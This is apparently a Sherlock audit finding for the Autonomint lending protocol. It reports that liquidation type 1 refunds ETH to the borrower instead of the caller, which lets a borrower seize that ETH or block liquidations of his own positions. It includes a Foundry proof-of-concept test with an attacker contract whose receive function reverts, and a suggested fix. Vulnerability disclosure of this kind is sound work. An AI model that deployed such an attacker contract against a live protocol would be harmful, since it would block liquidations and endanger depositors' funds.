Shallow Coral Kookaburra

Medium

# Liquidation type 1 incorrectly refunds to `user` instead of `msg.sender` allowing `user` to DoS liquidations of his positions

### Summary

When a liquidation of type 1 occurs, the unused `ETH` should be refunded to the `msg.sender` (the admin in this case), however, it refunds incorrectly to the `user` address. This allows user to steal those funds, or to DoS the liquidation by reverting the call.

### Root Cause

In `BorrowLiquidation::liquidationType1` there is a function used to know how much funds will be used from one chain and from the other:
[borrowLiquidation.sol#L227-L234](https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/Core_logic/borrowLiquidation.sol#L227-L234)
```solidity
// calculate the amount of usda to get from Other chains
uint256 liqAmountToGetFromOtherChain = BorrowLib.getLiquidationAmountProportions(
        liquidationAmountNeeded,
        cds.getTotalCdsDepositedAmount(),
        omniChainData.totalCdsDepositedAmount - omniChainData.downsideProtected,
        cds.totalAvailableLiquidationAmount(),
        omniChainData.totalAvailableLiquidationAmount
);

```

If `liqAmountToGetFromOtherChain` is zero, then `msg.value` won't be used and will be sent back to the admin (`msg.sender`). However, it sends `msg.value` to the `user`, which allows user to steal those funds, or to DoS the liquidation by reverting the call.
[borrowLiquidation.sol#L302-L305](https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/Core_logic/borrowLiquidation.sol#L302-L305)
```solidity
if (liqAmountToGetFromOtherChain == 0) {
		(bool sent, ) = payable(user).call{value: msg.value}("");
		require(sent, "Failed to send Ether");
}
```

### Internal pre-conditions

- Liquidation type 1 called on a position with `borrowingHealth < 0.8`
- The liquidation amount to get from other chain is zero

### External pre-conditions

None

### Attack Path

- Malicious user deploys a contract that will use to call `Borrowing::depositTokens` to have a position opened.
- The deployed contract implements a `receive` function that revert, and another function to withdraw `USDa`.

### Impact

 - Funds lost
 - DoS in liquidation type 1 for all `user` positions (even though position should be liquidated, it is not)

### PoC

Add the following PoC to `test/foundry/Borrowing.t.sol`:

```solidity
    function test_PoC_DoSLiquidationType1ForUser() public {
        uint256 ETH = 1;
        uint24 ethPrice = 388345;
        uint8 strikePricePercent = uint8(IOptions.StrikePrice.FIVE);
        uint64 strikePrice = uint64(ethPrice + (ethPrice * ((strikePricePercent * 5) + 5)) / 100);
        uint128 usdtToDeposit = uint128(contractsB.cds.usdtLimit());
        uint256 liquidationAmount = usdtToDeposit / 2;

        // deposit in CDS so there is back funds for the USDa
        address cdsDepositor = makeAddr("depositor");
  
        {
            vm.startPrank(cdsDepositor);

            contractsB.usdt.mint(cdsDepositor, usdtToDeposit);
            contractsB.usdt.approve(address(contractsB.cds), usdtToDeposit);
            vm.deal(cdsDepositor, globalFee.nativeFee);
            contractsB.cds.deposit{value: globalFee.nativeFee}(
                usdtToDeposit, 0, true, uint128(liquidationAmount), 150000
            );
  
            vm.stopPrank();
        }
  
        DoSLiquidation attacker = new DoSLiquidation(address(contractsB.borrow));

        {
            vm.startPrank(USER);
            uint256 amountDeposit = 1 ether;
            vm.deal(USER, globalFee.nativeFee + amountDeposit);

            attacker.deposit{value: globalFee.nativeFee + amountDeposit}(
                ethPrice, ETH, amountDeposit, strikePrice, ETH_VOLATILITY
            );
  
            vm.stopPrank();
        }

        vm.warp(block.timestamp + 25920);
        vm.roll(block.number + 2160);

        ethPrice -= 100000; // eth price drops from ~3.8K to ~2.8K
        
        {
            // liquidate
            address admin = contractsB.borrow.admin();
            uint64 index = 1;

            vm.startPrank(admin);  
            vm.deal(admin, globalFee.nativeFee);

            vm.expectRevert();
            contractsB.borrow.liquidate{value: globalFee.nativeFee}(
                address(attacker), index, ethPrice, IBorrowing.LiquidationType.ONE
            );

            vm.stopPrank();
        }
    }
}
 
import {BorrowingTest} from "../../contracts/TestContracts/CopyBorrowing.sol";

contract DoSLiquidation {
    BorrowingTest borrowing;

    constructor(address _borrowing) {
        borrowing = BorrowingTest(_borrowing);
    }

    function deposit(uint24 ethPrice, uint256 asset, uint256 amount, uint64 strikePrice, uint256 ethVolatility)
        public
        payable
    {
        borrowing.depositTokens{value: msg.value}(
            ethPrice,
            uint64(block.timestamp),
            IBorrowing.BorrowDepositParams(
                IOptions.StrikePrice.FIVE, strikePrice, ethVolatility, IBorrowing.AssetName(asset), amount
            )
        );
    }

    receive() external payable {
        revert();
    }
}
```

To run the test: 
```bash
forge test --fork-url https://mainnet.mode.network/ --mt test_PoC_DoSLiquidationType1ForUser
```

### Mitigation

In [borrowLiquidation.sol#L302-L305](https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/Core_logic/borrowLiquidation.sol#L302-L305):
```diff
if (liqAmountToGetFromOtherChain == 0) {
-		(bool sent, ) = payable(user).call{value: msg.value}("");
+       (bool sent, ) = payable(msg.sender).call{value: msg.value}("");
		require(sent, "Failed to send Ether");
}
```